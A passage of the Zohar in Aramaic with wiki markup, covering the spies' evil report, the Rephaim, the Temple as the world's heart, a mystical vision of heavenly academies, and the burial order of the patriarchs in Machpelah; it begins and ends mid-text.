רבי יהודא אמר מסורת שמא קדישא מסר לון משה ובגיניה אשתזיבו מנייהו. רבי חייא אמר תלת שמהן אקרון. נפילים. ענקים. רפאים. וכלהו אורכי יומי. נפילין אקרון בקדמיתא לבתר כד אתחברון בבנת בני נשא ואולידו מנייהו אקרון ענקים. לבתר דהוו אזלי ושטאן בהאי עלמא ומתרפיין מההוא דלעילא אקרון רפאים. אמר ר' יהודה והא כתיב {{צ|הרפאים יחוללו}} {{צ|רפאים יחשבו אף הם כענקים}} {{ממ|דברים|ב|יא}}. 

אמר ליה הכי הוא בגין דענקים אתו מהאי סטרא ומהאי סטרא ואתיאשו יתיר בארעא. כגוונא דא רפאים ומנייהו נפקי והוו אורכי יומי וכד מתחלשי אתחלש פלגות גופא ופלגות קאים כיון דפלגות גופא הוה מית הוו נסבי עשבא מעשבי ברא ושדיין לפומייהו ומיתו ובגין דאינון בעאן לקטלא גרמייהו אקרון רפאים אמר ר' יצחק שדיין גרמייהו בימא רבא וטבען ומתין הדא הוא דכתיב {{צ|הרפאים יחוללו מתחת מים ושוכניהם}} {{ממ|איוב|כו|ה}}. ר' שמעון אמר אלמלא הוו עיילין ישראל לארעא בסימנא (נ&quot;א באומנא) &lt;קטע סוף=דף קס ב/&gt;

 
{{ממ זהר משולב|ג|קסא|א}}&lt;קטע התחלה=דף קסא א/&gt;דלישנא בישא לא הוה קאים עלמא רגעא חד. מאן אומנא דלישנא בישא נחש ורזא דמלה מדאתא נחש על חוה אטיל בה זוהמא. אמר ר' שמעון ועל כלא מחל קב&quot;ה בר מן לישנא בישא בגין דכתיב {{צ|אשר אמרו ללשוננו נגביר שפתינו אתנו מי אדון לנו}} {{ממ|תהלים|יב|ה}}. תא חזי כמה עבד ההוא לישנא בישא גזר על אבהתנא דלא ייעול לארעא. ומיתו אינון דאמרו ואתגזר בכיה לדרי דרין (כ&quot;ש הכא דאפיקו לישנא בישא על כלא) כביכול כיון דאפיקו על ארעא קדישא כאילו אפיקו עליה בגין כך קני קב&quot;ה על דא (כלומר קני לשמיה) וקאימו ישראל כלהו לאשתצאה מעלמא אלמלא בעותיה דמשה:


'''{{צ|ויספרו לו ויאמרו וגו'}}'''. {{ש}}
אמר רבי חייא מ&quot;ש הכא {{צ|ויספרו}} ולא כתיב &quot;ויגידו&quot; או &quot;ויאמרו&quot;? אלא כל חד אוליף מלה בלחודוי. {{צ|ויגידו}} בכל אתר רמז קא רמיז בחכמתא והא אתמר. {{צ|ויאמר}} - אירה(?) בעלמא. ויאמרו הרהורא דלבא. ויאמרו תפקידתא והא אוקימנא בכמה אתר. {{צ|ויספרו}} - פרישותא דמלה בכל אתר. 

{{צ|באנו אל הארץ}} - &quot;הלכנו&quot; מבעי ליה!? אלא {{צ|באנו}} - עאלנא לתמן לההיא ארעא דהוית משבח בכל יומא והוית אמרת דלית דכוותה. 

{{צ|וגם זבת חלב ודבש היא}}. רבי יצחק אמר מאן דבעי למימר כדיבא אמר מלה דקשוט בקדמיתא בגין דיהמנו ליה כדבוי. רבי חייא אמר (אלא) הכי אמרו עאלנא לההיא ארעא דהוית משבח לה כל יומא ואמרת דלית דכותה (וגם זבת חלב ודבש היא) וארימת שבחא על כלא ולאו הכי דהא זה פריה אתכלא חד מאינון זעירין קטפו. אמרו אי לדא אחסין קב&quot;ה לישראל וסבלו כל אינון עקתין וליאותין הא בארעא דמצרים אית אתכלין ואיבין דארעא יתיר על חד תרין:

{{צ|אפס כי עז העם}} - אורחיה דעלמא דאינון גברין מגיחי קרבא יתבין לבד לאסתמרא ארחין והכא אפילו אינון בני מתא תקיפין גבורין. והערים בצורות דאפילו כל מלכין דעלמא יתכנשו עלייהו לא יעבדון בהו פגימותא. א&quot;ר יוסי כל מה דאמרי בלישנא בישא אמרו וקשיא מכלהו דכתיב {{צ|עמלק יושב בארץ הנגב}}. לבר נש דנשכיה חויה כד בעאן לאגזמא ליה אמרי הא חויא הכא. ר' אבא אמר ודאי דא קשיא מכל מה דאמרי כלומר ההוא דאגח קרבא בכלא הא הכא זמין. ובאן אתר בארץ הנגב דהא הוא אתר לאעלאה ביה. מיד ותשא כל העדה ויתנו את קולם קביעו בכיה לדורות לעלמין בההוא ליליא, א&quot;ר יוסי עיטא נסיבו על כלא לאפקא שום ביש. מאי על כלא על ארעא ועל קב&quot;ה. א&quot;ר יצחק על ארעא תינח. על קב&quot;ה מנין. אמר ליה משמע דכתיב {{צ|אפס כי עז העם}} מאן יכיל בהו כי עז העם דייקא. וכתיב {{צ|עמלק יושב בארץ הנגב}} - כדין גרמו כל האי כמה דאתמר ובעא קב&quot;ה לשיצאה לון מן עלמא הדא הוא דכתיב {{צ|ויאמר להשמידם לולי משה בחירו עמד בפרץ לפניו וגו'}} {{ממ|תהלים|קו|כג}}:


'''{{צ|ועתה יגדל נא כח אדני}} {{ממ|במדבר|יד|יז}}'''. {{ש}}
ר' אחא ור' יוסי אמרי זכאי אינון ישראל מעמין עכו&quot;ם דעלמא. דקב&quot;ה אתרעי בהו ואתכני בהו ואתפאר בהו דהא עלמא לא אבדי אלא בגיניהון דישראל דישתדלון באורייתא בגין דחד בחד אתקשרן וישראל לתתא בהאי עלמא אינון קיומא דיליה וקיומא דכל שאר עמין אימתיב זמן דעבדי רעותא דמאריהון. תא חזי כד ברא קב&quot;ה בר נש בעלמא אתקין ליה כגוונא עלאה (יקירא) ויהב ליה חיליה ותוקפיה באמצעיתא דגופא דתמן שריא לבא דהוא תוקפא (ומזונא) דכל גופא ומתמן אתזן כל גופא (וכל אינון שייפי דגופא מתמן אתזנו). והא לבא אחיד &lt;קטע סוף=דף קסא א/&gt;

 
{{ממ זהר משולב|ג|קסא|ב}}&lt;קטע התחלה=דף קסא ב/&gt;ואתקף באתר עלאה דלעילא דאיהו מוחא דרישא דשארי לעילא (ואחיד ביה) ודא אתקשר בדא ובגוונא דדא אתקין קב&quot;ה עלמא ועבד (ליה) חד גופא ואתקין שייפי דגופא סחרניה דלבא ולבא שארי באמצעיתא דכל גופא וכל אינון שייפין אתזנו מההוא לבא דהוא תוקפא דכלא וכלא ביה תליין וההוא לבא אתקשר ואתאחד במוחא עלאה דשריא לעילא. 

תא חזי כד ברא קב&quot;ה עלמא אשרא (ס&quot;א אסדר) לימא דאוקינוס דאסחר כל ישובא דעלמא וישובא דכל שבעין אומין כלא אסחר לירושלם. וירושלם באמצעיתא דכל ישובא שריא והיא אסחרא להר הבית והר הבית אסחר לעזרות דישראל ואינון עזרות סחרן ללשכת הגזית דתמן דנהדרי גדולה יתבין ותנינן לית ישיבה בעזרה אלא למלכי בית דוד בלחודייהו ולשכת הגזית אסחר למזבח והמזבח אסחר לבית האולם והאולם להיכל והיכל לבית קדש הקדשים דתמן שכינה שריא וכפרת וכרובים וארון והכא הוא לבא דכל ארעא ועלמא ומהכא אתזנו כל אינון אתרי דישובא דאינון שייפי דגופא. ולבא דא אתזן ממוחא דרישא ואתאחיד דא בדא הדא הוא דכתיב {{צ|מכון לשבתך פעלת יהוה}} {{ממ|שמות|טו|יז}}. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עלאה לקביל דא דאית ימא לעילא מן ימא וימא מן ימא. 

תא חזי נהר דינור אסחר לכמד משריין מקבליה שבעין סטרין גליפין משבעה דליקין ואינון סחרן לאינון שמשי דלגו מנייהו ואינון סחרין לארבע רתיכין ואינון סחרן לההיא קרתא קדישא דרביעא עלייהו. ותאנא תמן עזרות לגו מעזרות ולית ישיבה בעזרה דתמן אלא למלכיהון דבית דוד בלחודייהו ותמן משתכחי ויתבי וסנהדרי גדולה משתכחי תמן בלשכת הגזית וההוא בי דינא עלייהו דמשמש לאתר דמשמש ודינא אתיהיב מתמן לקדישין עליונין עד דמטא לאתר דאקרי קדש הקדשים דביה כלא ותמן הוא לבא שרייא ודא אתזן מן מוחא דלעילא ואתאחיד דא בדא. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עד דאשתכח דכלא אתזן ממוחא עלאה סתימאה דכלא וכד יסתכלון מלי כלא אתקשר דא בדא ודא בדא. 

תא חזי כד אנהיר עתיקא סתימא במוחא ומוחא אנהיר ללבא בדרך נעם יהוה והא אוקימנא ודא הוא כח יי' ההוא חילא דאתי מעתיקא קדישא סתימא דכל סתימין יגדל נא דיתרבי ויסגי לעילא לעילא ויתנגיד ויתמשך לתתא. כאשר דברת כמה דאוקמוה לאמר למילף מהכא כל דרין בתראין לעלם ולעלמי עלמין לאמר למימר לדא בשעתא דעקתא. למימר דא בשעתא דרווחא ומאי הוא יהוה ארך אפים וגו' והא אוקימנא מלי. אמר ד' יצחק אמת אמאי סליק מכאן אמר רבי חייא אינון גרמו ליה דאסתליק מכאן דהא בשקרו דברו גרמייהו בההוא מדה דבר נש מודד בה מודדין ליה וכן שאר אחרי אסתלקו דלא יכיל משה למימרינהו בגין דאינון גרמו. סלחתי כדבריך כדבריך ממש והא אתערו חברייא. והא אתמר:

אמר המגיה כך מצאתי בהעתקות אשר לפני ומתוך הלשון נראה שחסר התחלת המאמר וגם במקומות אחרים ממנו חסר ועם כל זה לא רציתי להשמיטו מן הספר להגדיל תורה ולהאדיר:

דא עם דא מה דלא הוו יכלין למללא מקדמת דנא נפקו מההיא פתחא ויתבו בגנתא תחות אילנין אמרו דא לדא כיון דאנן הכא וחמינן כל דא אי נמות הכא ודאי ניעול לעלמא דאתי. יתבו שינתא נפלת עלייהו ודמכו. אדהכי הא ההוא ממנא אתא &lt;קטע סוף=דף קסא ב/&gt;{{ממ זהר משולב|ג|קסב|א}}&lt;קטע התחלה=דף קסב א/&gt;ואתער לון אמר לון קומו פוקו לגו פרדס דאברא. נפקו חמו לאלין מארי מקרא דהוו אמרי בההוא קרא:

במדבר הזה יתמו. הא באתר אחרא לא. ושם ימותו הא באתר אחרא לא ודא בגופין אבל בנשמתין לא כגוונא דבני גנתא. 
אמר לון ההוא ממנא פוקו. נפקו בהדיה אמר לון שמעתון מדי לגו ההוא דרגא. 
אמרו שמענא דהא חד קלא הוה אמר מאן דפסק יתפסק מאן דקצר יתקצר מאן דקצר יתארך אמר לון ידעתון מאי האי אמרו לא. 
אמר לון חמיתון ההוא נשרא רברבא וההוא ינוקא דקא מלקט עשבין ר' אילעאי דנציבין הוה הוא ובריה ומטא הכא וחמא הוא וינוקא בריה מערתא דא כיון דעאלו לגו חשוך לא יכילו למסבל ומיתו וההוא ינוקא בריה קיימא בכל יומא קמיה דבצלאל בשעתא דנחית ממתיבתא עלאה ואמר קמיה תלת מלין. עד לא יפתח בצלאל ברזין סתימין דחכמתא דכל מלוי רזין סתימין אינון ד{{צ|עין לא ראתה אלהים זולתך}} האי (מאן) דאמר מאן דפסק יתפסק. מאן דפסק מלין דאורייתא על מלין בטלין יתפסקון חיוהי מהאי עלמא ודיניה קיימא בההוא עלמא מאן דקצר יתקצר מאן דקצר אמן ולא מאריך ביה גו נייחא יתקצר מחיין דהאי עלמא. מאן דקצר יתארך מאן דאמר אחד אצטריך לחטפא אלף ולקצרא קריאה דילה ולא יעכב בהאי את כלל. ומאן דעביד דא יתארכון חייו. 

אמרו ליה תו אמר תרין אינון וחדא אשתתף בהו ואינון תלתא. וכד הוו תלתא אינון חד. 
אמר לון אלין תרין שמהן דשמע ישראל דאינון יהוה יהוה. אלהינו אשתתף בהו ואיהו חותמא דגושפנקא. אמת. וכדומתחברן כחדא אינון חד ביחודא חדא. תו אמר תרין אינון וחד אתהדר. כד שליט טאס על גדפי רוחא ושאט במאתן אלף ואתטמר. אמר לון אלין תרין כרובים דהוה רכיב בהו קב&quot;ה. ומן יומא דאגניז יוסף מאחוי אגניז איהו (ס&quot;א חד) ואשתאר חד לגבי בנימין הדא הוא דכתיב {{צ|וירכב על כרוב ויעף וידא על כנפי רוח}} {{ממ|תהלים|יח|יא}}  {{ממ|ש&quot;א|כב|יא}}. ואגניז במאתן אלף עלמין ואתטמר ההוא דרכיב עליה דאינון מאתן אלף גניזין אינון דיליה בריך הוא פוקו מהכא זכאין אתון. נפקו יהב לון ההוא ממנא וורדא (ס&quot;א אחרא) חדא ונפקו. כד נפקו אסתים פום מערתא ולא אתחזי כלל. חמו ההוא נשרא דהוה נחית מההוא אילנא ועאל גו מערתא אחרא. ארחו אינון בההוא וורדא ועאלו תמן אשכחו ההוא נשרא אפום מערתא אמר לון עולו זכאי קשוט חברין דהא לא חמינא חדוה דחברותא מן יומא דאנא הכא אלא בכו. עאלו מאטו לפרדס אחרא וההוא נשרא בהדייהו כד מטו לגבי אינון מאריהון דמשנה אתהדר ההוא נשרא בדיוקנא דאדם בלבוש יקר מנהרא כוותייהו ויתיב עמהון כחדא אמר לאינון דיתבי הבו יקר למארי מתניתא דאתו הכא דהא מאריהון אחמי לון פליאן רברבן הכא. אמר חד מנייהו אית בכו סימנא. אמרו הין. אפיקו תרין ורדין וארחו בהו אמרו תיבו מארי מתיבתא תיבו זכאי קשוט אחידו בהו ויתבו. בההיא שעתא אולפו תמן תלתין הלכות דלא הוו ידעי מקדמת דנא ורזין אחרנין דאורייתא. אהדרו לגבי אינון מארי מקרא אשכחו דהוו אמרי {{צ|אני אמרתי אלהים אתם ובני עליון כלכם}}. {{צ|אני אמרתי}} בשעתא דאקדימתון עשיה לשמיעה דהא {{צ|אלהים אתם וגו'}} כיון דאמשכתון בתר יצר הרע {{צ|אכן כאדם תמותון וגו'}} מה מיתתו של אדם אחית ליה לעפרא בגין דיתמחי ההוא יצר הרע די בגויה וההוא יצר הרע איהו דמית הואתעכל בגויה. &lt;קטע סוף=דף קסב א/&gt;

 
{{ממ זהר משולב|ג|קסב|ב}}&lt;קטע התחלה=דף קסב ב/&gt;אמר ההוא סבא דעלייהו אוף הכא כתיב {{צ|ופגריכם אתם יפלו במדבר הזה}} {{ממ|במדבר|יד|לב}}. מאי {{צ|פגריכם}}? דא יצר הרע כליל דכר ונוקבא חסרונין דאית בכו דיצר הרע נחית תדיר לחסרונא ולא סליק. בקדש מעלין ולא מורידין במסאבו מורידין תדיר ולא מעלין. ועל דא אקרון פגריכם חסרונין דלכון כמה דאת אמר {{צ|אשר פִּגרו מעבור את הנחל וגו'}} {{ממ|ש&quot;א|ל|י}} סופא דקרא אוכח דכתיב {{צ|יפלו}} ולא &quot;תפלו&quot;. ועל דא {{צ|במדבר הזה יתמו}} אינון פגרים {{צ|ושם ימותו}} בגין דרעותא דקב&quot;ה לשיצאה להני פגרים מעלמא לעלם. 

אמר להו רבי אילאי זכאי קשוט עולו ותחמו דהא רשו אתמסר לכו למיעל עד ההוא אתר דפרוכתא פריסא זכאה חולקכון קמו ועאלו גו דוכתא חדא והוו תמן מאריהון דאגדה ואנפיהון מנהרן כנהירו דשמשא אמרו מאן אלין אמר להון אלין מאריוהן דאגדה חמאן בכל יומא נהירו דאורייתא כדקא יאות. קיימו ושמעו כמה מלין חדתין באורייתא לא אתיהיב לון רשו למיעל לגוייהו 
אמר ליה ר' אילאי עולו לדוכתא אחדא ותחמו. 
עאלו לגו גנתא אחרא וחמו אוף הכי כראן קברין ומיד מתין ומתהדירן חיין בגופין מנהרן קדישין 
אמרי ליה מאי האי 
א&quot;ל דא עבדי בכל יומא ומיד דשכבי מתעכלא ההוא זוהם בישא דקבילו בקדמיתא וקיימין מיד בגופין חדתין מנהרין באינון גופין קדישין דקיימי על טורא דסיני כגוונא דאתון חמאן קיימו כלהו על טורא דסיני בגופין בלא לכלוכא כלל כיון דאמשיכו עלייהו יצה&quot;ר אתהדרו בגופין אחרנין דגופין קדמאין גופין נוכראין הדא הוא דכתיב {{צ|ויתנצלו בני ישראל את עדים מהר חורב}} {{ממ|שמות|לג|ו}}. קלא אתער זילו אתכנשו הא אהליאב קאים על קיומיה וכל אינון קתדראין קמיה לשעתא פרחו כלהו ולא חמו מדי אשתארו בלחודייהו תחות אילנין דגנתא חמו פתחא אחרא עאלו תמן חמו היכלא חדא עאלו ויתיבו תמן. תרין עולימין הוו תמן. זקפו עיינין. וחמו חד משכנא מדקמא בכל זיני ציורין וגוונין דעלמא ועליה פריס פריסא דנהורא מנצצא דלא יכלין עיינין לאסתכלא (וכפום תרין מלין חמו גו ההוא משכנא עד אתר פרוכתא פריסא דלא חמו) מתמן ולהלאה לא. חמו כלום. ארכינו אודנין ושמעו חד קלא דהוה אמר בצלאל רביעאה איהו לנהורין עלאין. יוסף רביעאה איהו גו נהורין דאדם קדמאה סליקו דלעילא חביבא דכלא. עליה כתיב {{צ|ונסכו רביעית ההין בקדש וגו'}} {{ממ|במדבר|כח|ז}} מאן דיסתכל וחמי יסמון עיניה. מאן דלא יסתכל חמי ואתפתח. אילנא דתמני סרי כד כפיף יזקוף ויתקיים. אי לא כפיף חויא בישא אכיל ליה. מאן דעאל ותרין כרובין לגו רעותיה אתעביד. מאן דמעיין רחיק מרעותיה. קרבנא דרביא שלים לאתקבלא. פסק ההוא קלא אמרו אינון תרין עולימין סימנא אית בגוייכו אמרו הין אפיקו אינון תרין ורדין ארחו בהו אמרו תיבו עד דתשמעון תרין מלין ברזין עתיקין מגו מארי מתיבתא ויהון תדיר ברזא בגוייכו אמרו הן. אמר רבי שמעון כל הני מלין וכל מה דחמו כתבו וכד מטו הכא הוה כתיב {{צ|אשמרה דרכי מחטוא בלשוני}} {{ממ|תהלים|לט|ב}}. ואנא שאילנא לאבי אבא כמה הוו אינון תרין מלין ואמר לי חייך ברי אינון תרין מלין באנו עלמין וחריבו עלמין מאן דאשתמש בהו. כיון דשמעו אלין תרין מילין אמרו אינון ינוקי פוקו פוקו לית לכו רשותא יתיר למשמע. אפיק חד מנייהו תפוח אחד ויהב לון ואמר ארחו בדא ארחו ביה ונפקו ומכל דחמו לא אנשו כלום. נפקו הא ממנא אחרא אתא אמר לון חברייא ר' אילאי שדרני לכו תוריכו ליה הכא אפום מערתא והוא ייתי ויודע לכו מלין עלאין דלא ידעתון. דאיהו תבע מגו &lt;קטע סוף=דף קסב ב/&gt;

 
{{ממ זהר משולב|ג|קסג|א}}&lt;קטע התחלה=דף קסג א/&gt;מתיבתא דיהא ליה רשו לגלאה לכו מלין. נפקו בהדיה ואוריכו אפום מערתא והוו מהדרן מלי דא לדא מכל מה דחמו ואולפו תמן. אדהכא הא ר' אילאי אתא נהיר כשמשא א&quot;ל אורייתא חדתא שמעתא. אמר לון ודאי ורשו יהבו לי למימר לכו מלי. אתחברא כחדא אפום מערתא ויתבו, אמר לון זכאין אתון דאחמי לכון מאריכון כגוונא דעלמא דאתי והא לית לכו דחילו ואמתנו אמרו ודאי הא אתנשי מנן ארחא דבני נשא ותווהא איהו על כל מה דחמינן בהאי טורא אמר לון חמיתון אלין טוריא כלהו ראשי מתיבתי לעמא דא דבמדברא. וזכו השתא מה דלא זכו כד הוו בחיין. ואלין רישי מתיבתי כלהו בריש ירחי ושבתי ומעדייא מתכנשי לגבי טורא דאהרן כהנא ומתערי לגביה ועאלין גו מתיבתא דיליה ומתחדשן תמן בדכיו דטלא קדישא דנחית על רישיה ומשח רבו דנגיד עליה ועמיה מתחדשן כלהו בחדושין דרחימין דמלכא קדישא עד דאקרי הכא מתיבתא דרחימותא ואיהו נטיל בכל מתיבתא בטמירו דקיק מתעפפן כנשרין גו מתיבתא דנהורא ואיהי מתיבתא דמשה וכלהו קיימי לבר ולא עאלין לגו בר אהרן בלחודוי וכפום שעתא אקרון בשמא. ולית מאן דחמי ליה למשה דהא ההוא מסוה ראנפוי פריס קמיה ושבע ענני יקר סחרניה. אהרן קאים גו פרגודא דלתתא מן משה ופרגודא פסיק ולא פסיק בגוייהו וכל רישי מתיבתי לבר מפרוכתא דפרגודא דא. וכל שאר לבד מאינון עננין וכפום חדושי דנהירו דאורייתא דאתנהרא הכי מנהרן אינון עננין ואתקלישו בדקיקו דנהורא עד דאתחזי ההוא מסוה ומגו ההוא מסוה חמאן נהורא דנהיר יתיר מכל נהירין דעלמא ואינון אנפי משה. אנפוי לא אתחזון כלל ולית מאן רחמי לון בר ההוא נהירו דנפיק מגו ההוא מסוה בתר כל אינון עננין. משה אמר מלה סתם לאהרן ואהרן פריש לרברבי מתיבתי. במה פריש בכל אינון מבועין אסתימו מניה כד מטא זמניה דיהושע. והשתא איהו מהדר לון. בכמה פליאן ומקורין ומבועין ונחלין דנבעין מכל מלה ומלה. כל נשין זכיין דהאי דרא אתאן למרים אוף הכא בהני זמנין וכדין סלקין כלהו כתמרות עשן גו מדברא דא. וההוא יומא אקרי יומא דהלולא. נשין בלילי שבתות ובללי יומין טבין כלהו אתאן לגבי מרים וידעין אשתדלותא בידיעו דמארי עלמא. זכאה דרא דא מכל דרין דעלמא. נפקי ממתיבתא דמשה ופרחי לגבי מתיבתא דרקיעא ואינון דאתחזון פרחי לגבי מתיבתא עלאה על ההוא דרא כתיב {{צ|אשרי העם שככה לו אשרי העם שיהוה אלהיו}} {{ממ|תהלים|קמד|טו}}:


פתח ר' אילאי ואמר {{צ|תמים תהיה עם יהוה אלהיך}} {{ממ|דברים|יח|יג}}. מה בין '''תם''' ל'''תמים'''? באברהם כתיב {{צ|התהלך לפני והיה תמים}} {{ממ|בראשית|יז|א}}. יעקב דאשתלים יתיר כתיב ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. אמאי אקרי {{צ|איש תם}}? בגין דלא אשתאר ביה פסולת כלל דהא פריעה הוה ביה. כמה אתפרע (ס&quot;א פריעה הוה ביה דאתפרע) ואתדכי מההוא פסולת. בגין דההוא אתר דאתקיף לפסולת דלגו אתר דפריעה שארי איהו שור דיוקנא דשמאלא דכרסיא דיליה. וההוא שור אקרי שור תם דהא רתיכא דכרסיא רשימא דברית אית ביה ועל דא האי שור אקרי תם ויעקב אחיד ביה בגוויה ובהאי שור עביד פריעה ואעבר זוהמא דפסולת כלא. במתניתא דבצלאל כתיב {{צ|ויזכור אלהים את רחל}} {{ממ|בראשית|ל|כב}}. בשרה כתיב 'פקידה' וברחל כתיב 'זכירה'. אמאי? בגין דזכור אתרשים ביעקב דאיהו ברית שלים כד אתעביד (ס&quot;א אתייליד) יוסף. ובמה כד נטל שור בהדיה דלא יתקיף לסטרא אחרא. ובגין כך אתקרי יוסף {{צ|בכור שור}} - בכור דההוא שור &lt;קטע סוף=דף קסג א/&gt;

 
{{ממ זהר משולב|ג|קסג|ב}}&lt;קטע התחלה=דף קסג ב/&gt;דנטל יעקב בכור שורו ודחי לההוא שור. שור תם ויעקב איש תם רבון ושליט מאריה דביתא דההוא שור תם שארי בגוויה בגין דאית שור מועד בסטר ערלה פריעה. וכמה גרדיני נימוסין נפקין מניה עד דרגא בתרייתא דאקרי שאי&quot;ה ההוא דאפיל ביתין דעלמא דלא דיירין בהו בני נשא. וכלהו נפקי מההוא שור מועד. ודא בחבורא דחמור בישא ובגין כך לא תחרוש בשור ובחמור יחדיו. בגין דלא לאתערא להו ובההוא מתיבתא דבצלאל וכן בתרין מתיבתי {{צ|ויעקב איש תם}} - בעלה דההוא תם. ומאן איהו א' רזא דו&quot;ו וכד הוו כלל דכר ונוקבא כחדא שלימו דכלא. אברהם לא אתפקד על פריעה וכד עאל עאל להאי תם ולגו דרגין דיליה דאקרון כחדא ים והיינו תמים לבתר אסתלק אברהם ועאל לגו ואתקשר עם ימינא עלאה. תמים תהיה עם יהוה אלהיך ודאי כמה דאיהו תמים כללא חדא אוף אנת תהא עמיה תמים עמיה ודאי. במה אתעביד בר נש תמים דיהא ת&quot;ם ים. תם כמה דאתמר. י&quot;ם כל אינון דרגין קדישין דיליה אקרון י&quot;ם ולא אתפרשן מניה לעלמין. אוף אנת כגוונא דא לאעדאה מנך דרגין נוכראין ולאתקשרא בתמים למיהוי בך דרגין קדישין רזא דים ודרגא קדישא. ת&quot;ם לקבלא א' רזא דיעקב. בר נש אצטריך למהוי בכל יומא ת&quot;ם י&quot;ם כגוונא דא ממש. השתא פריש מאן דפריש במתיבתא דסיהרא קדישא שפירא איהו בחוורו וכל גוונין מנצצן בה ומרקמן ואיהו כההוא שפירו וחוורו דשמשא מש ובההוא ימא דילה גו שבעין שנין נפקא נונא חדא ואפיק מניה גוון תכלת ואיהי נטלא גוון דא ותקינת ליה ואתחפייא לבר בהאי גוון. לאו דהאי גוון לבושא דילה דהא שש וארגמן לבושה אבל חופאה דלבר האי גוון הוא. כגוונא דא הוה משכנא דכוליה בשפירו מרקמא לגו ולבתר ופרשו בגד כליל תכלת. מ&quot;ט בגין דתחות ים דא אית מצולות י&quot;ם כלל דכר ונוקבא ואית לון עינא בישא לאסתכלא וכד מסתכלין זמין לעינייהו גוון תכלא ולא יכלא עינייהו לשלטאה ואיהי אתתקנת לגו בכל גוונין מרקמן כדקא יאות מתחחמן לד' סטרין דעלמא. 

כגוונא דא בר נש דלביש ציצית אתעביד בכל יומא תמים. ת&quot;ם בד' כנפים מתקנן כדקא יאות י&quot;ם בההוא תכלת דנונא דשבעין דרגין דימא סטרא בישא כד אסתכל בהאי בר נש לא יכיל לאבאשא ליה בעינא בישא. וכדין איהו תם י&quot;ם עם יהוה אלהיו ממש בתקונא חדא איהי לעילא ואיהו לתתא. לבתר אסתלקת איהי גו' דרגין עלאין. אוף הכי בר נש אסתלק איהו לבתר בתפלין גו דרגין עלאין. ועל דא {{צ|תמים תהיה עם יהוה אלהיך}}. עמיה ודאי. ודאי בשעתא חדא ברגעא חדא איהי אתקנת לעילא ובר נש אתקן לתתא. 

א&quot;ר אילאי כל אלין דהכא כגוונא דא מתקנן למהוי כל חד תמים עם יהוה. ועל רזא דא במדבר הזה יתמו אי תימרון דכד אתמר לביש אתמר הכי הוא ודאי דהוה לון למהוי כל חד תמים עם יהוה בארעא קדישא אתר דיהוה שארי תמן למהוי אפין באפין כחדא עמיה והשתא כל חד הוי תמים במדברא דא לבר אתר רחיק מתמן דלא יסתכל אנפין באנפין בהדיה למהוי עם יהוה כדקא יאות. ושם ימותו כמה דחמיתון דעבדין בכל יומא. זכאה חולקכון חברייא קדישין דזכיתון לכל האי. הני תרי מערתי אחרנין דילכו דלא תשכחו כל דא תמן דאינון גו מתיבתא דמשה. יתבי מרחיק ועל דא כתיב במשה ענו מאד מכל &lt;קטע סוף=דף קסג ב/&gt;

 
{{ממ זהר משולב|ג|קסד|א}}&lt;קטע התחלה=דף קסד א/&gt;האדם. ונביאה עלאה. קביל לון למתיבתא דיליה מיומא דשארי למחמי כל דא עד ההיא שעתא שבעה יומין. והא לא הוו מסתכלן בהאי עלמא כלום. אמר לון רבי אילאי זכאין קדישין אימא לכו מלין דשמעתון ומלה קדמאה כד תנדעון מדידו דמשחתא בשמא גליפא מפרש תנדעון (ואע&quot;ג) דבצלאל רביעאה איהו דנהורין עלאין דכתיב {{צ|ואמלא אותו רוח אלהים בחכמה ובתבונה ובדעת}} {{ממ|שמות|לא|ג}}. מאן דלא אסתכל חמי ואתפתח. מאן דלא אסתכל באינון תלת מלין טמירין מה לעילא מה לתא וכו' זמין איהו לאתפתחא באורייתא ולפקחא עיינין בה אילנא דתמני סרי. שדרתו דבר נש כד כפיף קמי מאריה יזקוף ויתקיים לתחיית מתייא. אי לא כפיף במודים אתעביד חויא ולית ליה תקומה לההוא זמנא. מאן דעאל בין תרין כרובים לגו. מאן דעאל שיעור תרין פתחין לגו בי כנשתא אתדבק במאריה ורעותיה אתעביד. מאן דמעיין בצלותיה ואסתכל בה רחיק מרעותיה דשאיל. קרבנא דרביא כד קרב בר נש בריה לבי ספרא או למילה דא קרבנא שלים לאתקבלא. מכאן ולהלאה רחימין. זילו. אלעזר ברי שפיר קאמרת כפום מה דאוליפת. אבל ח&quot;ו דאע&quot;ג דרחל הות עקרא בההוא זימנא יעקב חכים הוה. ואלמלא לא ידע יעקב דלאה אנחתיה לא קביר לה במערתא לאתחברא בהדיה בחבורא חדא ויהא קביר לה לבר מארעא. אבל ללאה אעיל לה גו ארעא ולרחל שוי לבר. מית יעקב אתקבר בגווה בחבורא חדא כמה דעבדו כל שאר אבהן אוף הכי אדם. מתה חוה בקדמיתא אתקברת תמן. ותמן ידע אדם דהאי דוכתא אתחזי ליה. מית אדם אתקבר בגווה בחבורא חדא. מתה שרה אתקברת תמן וחוה חמאת וחדאת לקבלה וקמת וקבלה לה. שיעורא דחוה לגבי שרה שיעורא דתרין אמין ולא יתיר. מת אברהם אתקבר לגבי שרה בחבורא חדא. מתה רבקה אתקברת תמן ושרה חמאת וקמת וקבלה לה. מת יצחק אתקבר בהדה בחבורא חדא. מתה לאה אתקברת תמן ורבקה חמאת וקמת וקבלה לה. מת יעקב אתחבר בהדה בחבורא חדא. וכלהו דכר ונוקבא כחדא בחבורא חדא. סדורא דלהון היך שכני נשין לגבי נשין ודכורין לגבי דכורין אדם ברישא חוה סמיך ליה. שרה לגבי חוה. אברהם סמיך לשרה. יצחק סמיך לאברהם. רבקה סמיך ליצחק. לאה סמיך לרבקה. יעקב סמיך ללאה. אשתכח אדם בסטרא דא יעקב בסטרא דא. דא רישא ודא סיפא. בספרא דשלמה מלכא איהו כדקא יאות והכי הוא אדם וחוה בקדמיתא. ושרה ואברהם סמיך לון. יצחק ורבקה לזויא אחרא בארח מישר בשורה חדא. יעקב ולאה באמצעיתא ואינון נשין לגבי נשין. ודכורין לגבי דכורין. ואדם וחוה שרה ואברהם יעקב ולאה. רבקה ויצחק. אדם בסטרא דא ויצחק בסטרא דא ויעקב באמצעיתא. יצחק לגבי אבוה לאו ארח עלמא. ועכ&quot;ד יעקב אצטריך באמצעיתא. ובכל אינון זוגין כמה דאתקברו הכי יקומון והכי ישתכחון. לאה תחדי בחדי משיח בריה דדוד דנפיק מנה לגו. רחל תחדי בהדי משיח בריה דיוסף דנפיק מנה לבר מירושלם וכלא לדוכתייהו אלין הכא ואלין הכא דאינון (ס&quot;א 